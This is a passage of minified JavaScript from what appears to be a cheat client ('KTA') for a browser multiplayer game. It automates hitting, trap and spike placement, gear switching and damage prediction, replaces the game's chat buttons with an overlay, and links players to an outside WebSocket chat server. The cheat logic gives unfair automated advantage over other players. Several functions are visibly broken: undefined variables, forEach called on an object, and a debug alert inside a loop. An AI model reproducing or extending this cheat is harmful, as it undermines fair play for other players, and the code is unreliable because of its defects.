ee.send("K", 1),
setTickout(() => {
(autohitting = !1),
ee.send("K", 1),
0 == E.turretReload && Jn(53, 0);
}, 1);
}, 1))
: (autohitting = !1);
}
if (
(inztakillData.aim ||
autohitting ||
gonnainzta ||
(forceZolder
? (Jn(6, 0), Jn(11, 1))
: tankBreak &&
0 ==
E.reloads[
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon
]
? (E.weaponIndex !=
(10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon) &&
Yt(
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon,
1
),
Jn(40, 0),
Jn(11, 1))
: (E.inTrap &&
0 ==
E.reloads[
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon
]) ||
(E.obj &&
0 ==
E.reloads[
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon
])
? Jn(40, 0)
: autoG.toggle && 0 == E.reloads[autoG.weapon]
? Jn(40, 0)
: emptAnti
? (Jn(22, 0), Jn(11, 1))
: E.shameCount && 45 != E.skinIndex && tick % 9 == 0
? (Jn(7, 0), Jn(11, 1))
: 400 >= fgdo(E, enemy)
? (Jn(6, 0), Jn(11, 1))
: (Jn(12, 0), Jn(11, 1))),
millData.toggle &&
cdf(millData, {
x: E.laztX,
y: E.laztY,
}) >= R.list[E.items[3]].scale)
) {
let d =
caf(
{
x: E.x1,
y: E.y1,
},
E
) + Math.PI;
place(3, d - (70 * Math.PI) / 180),
place(3, d),
place(3, d + (70 * Math.PI) / 180),
(millData.x = E.x2),
(millData.y = E.y2);
}
let h = {
inTrap: !1,
},
u = et
.filter(
(t) =>
t.trap &&
t.active &&
t.teamObj(E) &&
cdf(t, enemy) <= enemy.scale + t.getScale() + 5
)
.sort(function (t, n) {
return cdf(t, enemy) - cdf(n, enemy);
})[0];
u ? (h.inTrap = !0) : (h.inTrap = !1),
300 >= cdf(E, enemy) &&
(200 >= cdf(E, enemy) && h.inTrap
? placeArry(
2,
caf(E, u) - Math.PI / 2,
caf(E, u) + Math.PI + Math.PI / 2,
Math.PI / 38
)
: placeArry(4, 0 + caf(E, enemy), 2 * Math.PI, Math.PI / 38)),
enemy && autoPush(enemy),
ee.send("D", vs()),
J.forEach((t) => {
if(y.reloads[y.weaponIndex] == 0 && y.doit) {
y.preplaceAble = true;
y.doit = false;
setTickout(() => {
y.preplaceAble = false;
}, 2);
} else {
y.doit = true;
}
(t.laztX = t.x2), (t.laztY = t.y2);
});
}
weaponHit(t, n, i) {
let o = _i(t);
if (o && (o.startAnim(n, i), (o.reloads[i] = R.weapons[i].speed), n)) {
let a = gameHitobjectz;
(gameHitobjectz = []),
setTickout(() => {
let t =
R.weapons[i].dmg *
T.weaponVariants[o[(i < 9 ? "prima" : "zeconda") + "ryVariant"]]
.val *
(R.weapons[i].sDmg || 1) *
(40 == o.skinIndex ? 3.3 : 1);
a.forEach((n) => {
(n.health -= t),
Hn.showText(
n.x,
n.y,
20,
0.18,
500,
Math.round(Math.abs(t)),
n.teamObj(E) ? "#24b0ff" : "#f72d71"
);
});
}, 1);
}
}
nextTickLogic() {}
addObject(t, n, i, o, a, r, s, l) {
let c = {};
return (
(c.sid = t),
(s = s || {}),
(c.sentTo = {}),
(c.gridLocations = []),
(c.active = !0),
(c.doUpdate = s.doUpdate),
(c.x = n),
(c.y = i),
(c.dir = 0),
(c.xWiggle = 0),
(c.yWiggle = 0),
(c.scale = a),
(c.type = r),
(c.id = s.id),
(c.owner = l),
(c.name = s.name),
(c.isItem = null != c.id),
(c.group = s.group),
(c.health = s.health),
(c.maxHealth = s.health),
(c.layer = 2),
null != c.group
? (c.layer = c.group.layer)
: 0 == c.type
? (c.layer = 3)
: 2 == c.type
? (c.layer = 0)
: 4 == c.type && (c.layer = -1),
(c.colDiv = s.colDiv || 1),
(c.blocker = s.blocker),
(c.ignoreCollision = s.ignoreCollision),
(c.dontGather = s.dontGather),
(c.hideFromEnemy = s.hideFromEnemy),
(c.friction = s.friction),
(c.projDmg = s.projDmg),
(c.dmg = s.dmg),
(c.pDmg = s.pDmg),
(c.pps = s.pps),
(c.zIndex = s.zIndex || 0),
(c.turnSpeed = s.turnSpeed),
(c.req = s.req),
(c.trap = s.trap),
(c.healCol = s.healCol),
(c.teleport = s.teleport),
(c.boostSpeed = s.boostSpeed),
(c.projectile = s.projectile),
(c.shootRange = s.shootRange),
(c.shootRate = s.shootRate),
(c.shootCount = c.shootRate),
(c.spawnPoint = s.spawnPoint),
(c.changeHealth = function (t, n) {
return (c.health += t), c.health <= 0;
}),
(c.getScale = function (t, n) {
return (
(t = t || 1),
c.scale *
(c.isItem || 2 == c.type || 3 == c.type || 4 == c.type
? 1
: 0.6 * t) *
(n ? 1 : c.colDiv)
);
}),
(c.visibleToPlayer = function (t) {
return (
!c.hideFromEnemy ||
(c.owner &&
(c.owner == t || (c.owner.team && t.team == c.owner.team)))
);
}),
(c.update = function (t) {
c.active &&
(c.xWiggle && (c.xWiggle *= c.pow(0.99, t)),
c.yWiggle && (c.yWiggle *= c.pow(0.99, t))),
c.turnSpeed && (c.dir += c.turnSpeed * t);
}),
(c.teamObj = function (t) {
return (
null != this.owner &&
((this.owner && t.sid === this.owner.sid) ||
t.findAllianceBySid(this.owner.sid))
);
}),
c
);
}
removeObject() {}
wiggleObject(t, n) {
let i = Ho(n);
i &&
((i.xWiggle += T.gatherWiggle * Math.cos(t)),
(i.yWiggle += T.gatherWiggle * Math.sin(t)),
i.health && gameHitobjectz.push(i));
}
getVelocity(t) {
let n = caf(
{
x: t.laztX,
y: t.laxtY,
},
t
),
i = cdf(
{
x: t.laztX,
y: t.laxtY,
},
t
),
o = t.x + (4 * Math.cos(n) * window.pingTime) / 111.1111,
a = t.y + (4 * Math.sin(n) * window.pingTime) / 111.1111;
return [i, o, a, n];
}
begin() {
R.weapons.forEach((t) => {
KTA.potentialdmgz.push({
id: t.id,
normalDmg: t.dmg,
goldDmg: normalDmg * T.weaponVariants[1].val,
diamondDmg: normalDmg * T.weaponVariants[2].val,
rubyDmg: normalDmg * T.weaponVariants[3].val,
});
});
}
findDmgZource(t) {
let n = et.filter(
(t) => t.active && t.dmg && E.canSee(t) && cdf(E, t) <= E.scale + t.scale
)[0];
if (n) {
if (t == n.dmg) return "zpikez";
} else
J.forEach((n) => {
(n.primary = KTA.potentialdmgz.find((t) => t.id === n.primaryWeapon)),
(n.zecondary = KTA.potentialdmgz.find(
(t) => t.id === n.zecondaryDmg
)),
(n.normalPrimaryDmg =
R.weapons[E.primaryWeapon].dmg *
T.weaponVariants[E.primaryVariant].val),
(n.normalZecondaryDmg =
R.weapons[E.secondaryWeapon].dmg *
T.weaponVariants[E.zecondaryVariant].val),
(n.primary.dmg = 0),
n.primary.forEach((i) => {
i == t && (n.primary.dmg = i);
});
});
}
}
let KTA = new KTAa();
class Utils {
static getDist(t, n, i = "", o = "") {
return hypot(
t[`x${i || ""}`] - n[`x${o || ""}`],
t[`y${i || ""}`] - n[`y${o || ""}`]
);
}
static getAngle(t, n, i = "", o = "") {
return Math.atan2(
t[`y${i || ""}`] - n[`y${o || ""}`],
t[`x${i || ""}`] - n[`x${o || ""}`]
);
}
static calculateHarmonicMean(t) {
let n = t.reduce((t, n) => t + 1 / Math.pow(2, n), 0);
return t.length / n;
}
static inBetween(t, n) {
let i,
o = [, ,],
a;
if (
(Math.sin(t) > 0 && Math.cos(t) > 0
? ((o[0] = n[0]), (o[1] = n[1]))
: Math.sin(t) > 0 && 0 > Math.cos(t)
? ((t -= Math.PI / 2),
(o[0] = n[0] - Math.PI / 2),
(o[1] = n[1] - Math.PI / 2))
: 0 > Math.sin(t) && 0 > Math.cos(t)
? ((t -= Math.PI), (o[0] = n[0] - Math.PI), (o[1] = n[1] - Math.PI))
: 0 > Math.sin(t) &&
Math.cos(t) > 0 &&
((t -= (3 * Math.PI) / 2),
(o[0] = n[0] - (3 * Math.PI) / 2),
(o[1] = n[1] - (3 * Math.PI) / 2)),
Math.sin(o[0]) > 0 && Math.cos(o[0]) > 0
? (i = 1)
: Math.sin(o[0]) > 0 && 0 > Math.cos(o[0])
? (i = 2)
: 0 > Math.sin(o[0]) && 0 > Math.cos(o[0])
? (i = 3)
: 0 > Math.sin(o[0]) && Math.cos(o[0]) > 0 && (i = 4),
Math.sin(o[1]) > 0 && Math.cos(o[1]) > 0
? (a = 1)
: Math.sin(o[1]) > 0 && 0 > Math.cos(o[1])
? (a = 2)
: 0 > Math.sin(o[1]) && 0 > Math.cos(o[1])
? (a = 3)
: 0 > Math.sin(o[1]) && Math.cos(o[1]) > 0 && (a = 4),
1 == i)
)
return Math.sin(t) < Math.sin(o[0])
? 1 == a && Math.sin(t) < Math.sin(o[2])
: 1 != a || Math.sin(t) < Math.sin(o[2]);
if (1 == a) return Math.sin(t) < Math.sin(o[1]);
if (2 == i) return 2 == a && Math.sin(o[0]) < Math.sin(o[1]);
if (3 == i)
return !!(i > a) || (!(i < a) && Math.sin(o[0]) < Math.sin(o[1]));
if (4 == i)
return !!(i > a) || (!(i < a) && Math.sin(o[0]) > Math.sin(o[1]));
}
}
function simulateKB(t, n) {
let i = E,
o = be,
a = ue,
{ xVel: r, yVel: s } = {
xVel: 0,
yVel: 0,
};
(r = Math.abs(n.x2 - n.laztX)), (s = Math.abs(n.y2 - n.laztY));
let l = cdf(
{
x: 0,
y: 0,
},
{
x: r * o,
y: s * o,
}
),
c = Utils.getAngle(
{
x: n.laztX,
y: n.laztY,
},
n,
0,
2
),
d = Math.min(4, Math.max(1, Math.round(l / 40))),
h = 1 / d,
u = {
x: 0,
y: 0,
},
p = 0,
f = 0;
r && (r -= r * o * h), s && (s -= s * o * h);
let $ = {
x: n.x2 + Math.cos(c) * l,
y: n.y2 + Math.sin(c) * l,
},
g = l;
for (
u = {
x: $.x,
y: $.y,
};
g > 0;
) {
let m = a.getGridArrays($.x, $.y, n.scale);
for (let _ = 0; _ < m.length; _++)
for (let k = 0; k < m[_].length; k++) {
let v = m[_][k];
if (!v.active) continue;
alert("wow"), console.warn(i.x, i.x2, i.y, i.y2);
let b = n.scale + v.scale;
if (
cdf(
{
x: n.x2,
y: n.y2,
},
v
) >= b
) {
let w = i.scale + (n.getScale ? n.getScale() : n.scale);
if (
cdf(
{
x: n.x2,
y: n.y2,
},
v
) >= w
) {
if (v.ignoreCollision) continue;
let x = caf(v, n) - Math.PI;
v.dmg && (p += v.dmg),
(u.x = v.x + w * Math.cos(x)),
(u.y = v.y + w * Math.sin(x)),
console.warn(u),
(g *= 0.75),
f++;
}
}
}
return (
r && (r *= Math.pow(0.993, o)) <= 0.01 && r >= -0.01 && (r = 0),
s && (s *= Math.pow(0.993, o)) <= 0.01 && s >= -0.01 && (s = 0),
(g = cdf(
{
x: 0,
y: 0,
},
{
x: r * o,
y: s * o,
}
)),
(u.x += r * o * h),
(u.y += s * o * h),
console.log(u, E.x2, E.y2),
{
totalDmg: p,
totalCollisions: f,
finalPos: u,
}
);
}
}
let potdmgz = [];
class potHeal {
constructor() {}
calcPot(t, n, i = 0) {
(this.player = t),
(this.tmpObj = n),
(this.id = n.id),
0 == this.tmpObj.reloads[this.tmpObj.primaryWeapon] &&
(i +=
R.weapons[this.tmpObj.primaryWeapon].dmg *
T.weaponVariants[this.tmpObj.primaryVariant].val *
(R.weapons[this.tmpObj.primaryWeapon].sDmg || 1)),
(i *= 1.5),
0 == this.tmpObj.reloads[this.tmpObj.secondaryWeapon] &&
(i +=
R.weapons[this.tmpObj.secondaryWeapon].dmg *
T.weaponVariants[this.tmpObj.zecondaryVariant].val *
(R.weapons[this.tmpObj.secondaryWeapon].sDmg || 1)),
7 == this.player.skinIndex && tick % 9 == 0 && (i += 5),
this.tmpObj.turretReload <= 1e3 / 9 && (i += 25),
potdmgz.push([
this.id,
Math.ceil(i * (6 == this.tmpObj.skinIndex ? 0.75 : 1)),
]);
}
}
let potman = new potHeal();
function getEl(t) {
return document.getElementById(t);
}
class HtmlAction {
constructor(t) {
this.element = t;
}
add(t) {
this.element && (this.element.innerHTML += t);
}
newLine(t) {
let n = "<br>";
if (t > 0) {
n = "";
for (let i = 0; i < t; i++) n += "<br>";
}
this.add(n);
}
checkBox(t) {
let n = '<input type = "checkbox"';
t.id && (n += ` id = ${t.id}`),
t.style && (n += ` style = ${t.style.replaceAll(" ", "")}`),
t.class && (n += ` class = ${t.class}`),
t.checked && (n += " checked"),
t.onclick && (n += ` onclick = ${t.onclick}`),
(n += ">"),
this.add(n);
}
text(t) {
let n = '<input type = "text"';
t.id && (n += ` id = ${t.id}`),
t.style && (n += ` style = ${t.style.replaceAll(" ", "")}`),
t.class && (n += ` class = ${t.class}`),
t.size && (n += ` size = ${t.size}`),
t.maxLength && (n += ` maxLength = ${t.maxLength}`),
t.value && (n += ` value = ${t.value}`),
t.placeHolder &&
(n += ` placeHolder = ${t.placeHolder.replaceAll(" ", " ")}`),
(n += ">"),
this.add(n);
}
select(t) {
let n = "<select";
for (let i in (t.id && (n += ` id = ${t.id}`),
t.style && (n += ` style = ${t.style.replaceAll(" ", "")}`),
t.class && (n += ` class = ${t.class}`),
(n += ">"),
t.option))
(n += `<option value = ${t.option[i].id}`),
t.option[i].selected && (n += " selected"),
(n += `>${i}</option>`);
(n += "</select>"), this.add(n);
}
button(t) {
let n = "<button";
t.id && (n += ` id = ${t.id}`),
t.style && (n += ` style = ${t.style.replaceAll(" ", "")}`),
t.class && (n += ` class = ${t.class}`),
t.onclick && (n += ` onclick = ${t.onclick}`),
(n += ">"),
t.innerHTML && (n += t.innerHTML),
(n += "</button>"),
this.add(n);
}
selectMenu(t) {
let n = "<select";
if (!t.id) {
alert("please put id skid");
return;
}
(window[t.id + "Func"] = function () {}),
t.id && (n += ` id = ${t.id}`),
t.style && (n += ` style = ${t.style.replaceAll(" ", "")}`),
t.class && (n += ` class = ${t.class}`),
(n += ` onchange = window.${t.id + "Func"}()`),
(n += ">");
let i,
o = 0;
for (let a in t.menu)
(n += `<option value = ${"option_" + a} id = ${"O_" + a}`),
t.menu[a] && (n += " checked"),
(n += ` style = "color: ${t.menu[a] ? "#000" : "#fff"}; background: ${
t.menu[a] ? "#8ecc51" : "#cc5151"
};">${a}</option>`),
o++;
for (let r in ((n += "</select>"), this.add(n), (o = 0), t.menu))
(window[r + "Func"] = function () {
(t.menu[r] = !!getEl("check_" + r).checked),
saveVal(r, t.menu[r]),
(getEl("O_" + r).style.color = t.menu[r] ? "#000" : "#fff"),
(getEl("O_" + r).style.background = t.menu[r]
? "#8ecc51"
: "#cc5151");
}),
this.checkBox({
id: "check_" + r,
style: `display: ${0 == o ? "inline-block" : "none"};`,
class: "checkB",
onclick: `window.${r + "Func"}()`,
checked: t.menu[r],
}),
o++;
(i = "check_" + getEl(t.id).value.split("_")[1]),
(window[t.id + "Func"] = function () {
(getEl(i).style.display = "none"),
(i = "check_" + getEl(t.id).value.split("_")[1]),
(getEl(i).style.display = "inline-block");
});
}
}
class Html {
constructor() {
(this.element = null),
(this.action = null),
(this.divElement = null),
(this.startDiv = function (t, n) {
let i = document.createElement("div");
t.id && (i.id = t.id),
t.style && (i.style = t.style),
t.class && (i.className = t.class),
this.element.appendChild(i),
(this.divElement = i);
let o = new HtmlAction(i);
"function" == typeof n && n(o);
}),
(this.addDiv = function (t, n) {
let i = document.createElement("div");
t.id && (i.id = t.id),
t.style && (i.style = t.style),
t.class && (i.className = t.class),
t.appendID && getEl(t.appendID).appendChild(i),
(this.divElement = i);
let o = new HtmlAction(i);
"function" == typeof n && n(o);
});
}
set(t) {
(this.element = getEl(t)), (this.action = new HtmlAction(this.element));
}
resetHTML(t) {
this.element.innerHTML = "";
}
setStyle(t) {
this.element.style = t;
}
setCSS(t) {
this.action.add("<style>" + t + "</style>");
}
}
let HTML = new Html(),
menuChatDiv = document.createElement("div");
(menuChatDiv.id = "menuChatDiv"),
document.body.appendChild(menuChatDiv),
HTML.set("menuChatDiv"),
HTML.setStyle(`
position: absolute;
display: block;
opacity: 0;
visibility: hidden;
left: 0px;
top: 0px;
box-shadow: 0px 0px 25px rgba(0, 0, 0, 0);
overflow: hidden;
transition: opacity 0.65s ease, box-shadow 0.65s ease;
`),
HTML.resetHTML(),
HTML.setCSS(`
.chDiv{
color: #fff;
padding: 5px;
width: 470px;
height: 280px;
background-color: rgba(0, 0, 0, 0);
overflow: hidden;
transition: background-color 0.65s ease;
border-radius: 0 0 3px 0;
}
.chMainDiv{
font-family: "Hammersmith One";
font-size: 12px;
max-height: 235px;
overflow-y: scroll;
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
overflow: hidden;
}
.chMainBox{
transition: background-color 0.65s ease;
position: absolute;
left: 5px;
bottom: 10px;
width: 450px;
height: 20px;
padding: 4px;
background-color: rgba(255, 255, 255, 0.1);
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
color: #fff;
font-family: "Hammersmith One";
font-size: 12px;
border: none;
outline: none;
overflow: hidden;
}`),
HTML.startDiv(
{
id: "mChDiv",
class: "chDiv",
},
(t) => {
HTML.addDiv(
{
id: "mChMain",
class: "chMainDiv",
appendID: "mChDiv",
},
(t) => {}
),
t.text({
id: "mChBox",
class: "chMainBox",
placeHolder: " To chat click here or press / key",
});
}
),
(document.getElementById("mChBox").maxLength = 30);
let menuChats = getEl("mChMain"),
menuChatBox = getEl("mChBox"),
menuCBFocus = !1,
menuChCounts = 0;
function addMenuChText(t, n, i, o, a) {
HTML.set("menuChatDiv");
let r = document.getElementById("mChMain"),
s = new Date(),
l = s.getHours(),
c = s.getMinutes(),
d = (l % 12 || 12).toString(),
h = c.toString().padStart(2, "0"),
u = `${d}:${h} ${l >= 12 ? "PM" : "AM"}`,
p = document.createElement("div");
if (((p.className = "chatEntry"), !a)) {
let f = document.createElement("span");
(f.style.color = "rgba(255, 255, 255, 0.5)"),
(f.innerHTML = `${u}`),
p.appendChild(f);
}
let $ = document.createElement("span");
($.style.color = o), ($.innerHTML = " " + i), p.appendChild($);
let g = document.createElement("span");
(g.style.color = n),
(g.innerHTML = " " + t),
p.appendChild(g),
r.appendChild(p),
(r.scrollTop = r.scrollHeight),
menuChCounts++;
}
function resetMenuChText() {
for (
menuChats.innerHTML = "";
document.getElementById("mChMain").hasChildNodes();
)
document
.getElementById("mChMain")
.removeChild(document.getElementById("mChMain").firstChild);
menuChCounts = 0;
}
(menuChatBox.value = ""),
menuChatBox.addEventListener("focus", () => {
menuCBFocus = !0;
}),
menuChatBox.addEventListener("blur", () => {
menuCBFocus = !1;
}),
(menuChatBox.style.fontFamily = "Hammersmith One");
var button = document.createElement("button");
(button.id = "allah"),
(button.style.display = "block"),
(button.style.width = "175px"),
(button.style.height = "40px"),
(button.style.borderRadius = "5px"),
(button.style.textAlign = "center"),
(button.style.lineHeight = "40px"),
(button.style.color = "white"),
(button.style.fontWeight = "bold"),
(button.style.cursor = "pointer"),
(button.style.border = "none"),
(button.style.zIndex = "999"),
(button.style.position = "absolute"),
(button.style.top = "290px"),
(button.style.left = "0px"),
(button.style.opacity = "0"),
(button.style.visibility = "hidden"),
(button.style.transition = "opacity 0.65s ease, background-color 0.25s ease"),
(button.textContent = "Switch To Private Chat");
var isEnabled = !0;
function updateButton() {
isEnabled
? ((button.textContent = "Switch To Private Chat"),
(button.style.backgroundColor = "#007bff"))
: ((button.textContent = "Switch To Global Chat"),
(button.style.backgroundColor = "#dc3545"));
}
updateButton(),
button.addEventListener("click", function () {
(isEnabled = !isEnabled), updateButton(), this.blur();
}),
document.body.appendChild(button),
document.getElementById("chatButton").remove(),
document.getElementById("partyButton").remove(),
document.getElementById("joinPartyButton").remove(),
(window.resetMenuChText = resetMenuChText),
resetMenuChText(),
addMenuChText("script loaded, made by Onion", "white", "KTA", "turquoise");
var socket = new WebSocket("wss://kta-communication-network-hub.glitch.me");
socket.addEventListener("open", function (t) {
addMenuChText("connected to central server", "white", "KTA", "turquoise");
}),
socket.addEventListener("message", function (t) {
let n = JSON.parse(t.data);
addMenuChText(
n[2],
"#fff",
"[PRIVATE] " + n[1] + "[" + n[0] + "]:",
"#e66532"
);
let i = _i(n[0]);
i &&
((i.privateChatMessage = n[2]),
(i.privateChatCountdown = T.chatCountdown));
}),
socket.addEventListener("error", function (t) {
addMenuChText("central server unavailable", "red", "KTA", "turquoise");
}),
socket.addEventListener("close", function (t) {
addMenuChText(
"central server closed connection",
"red",
"KTA",
"turquoise"
);
}),
(window.openLink = Lo),
(window.aJoinReq = Gn),
(window.follmoo = Bh),
(window.kickFromClan = ko),
(window.sendJoin = vo),
(window.leaveAlliance = xo),
(window.createAlliance = Yn),
(window.storeBuy = bo),
(window.storeEquip = Jn),
(window.showItemInfo = Se),
(window.selectSkinColor = mf),
(window.changeStoreIndex = cf),
(window.config = T);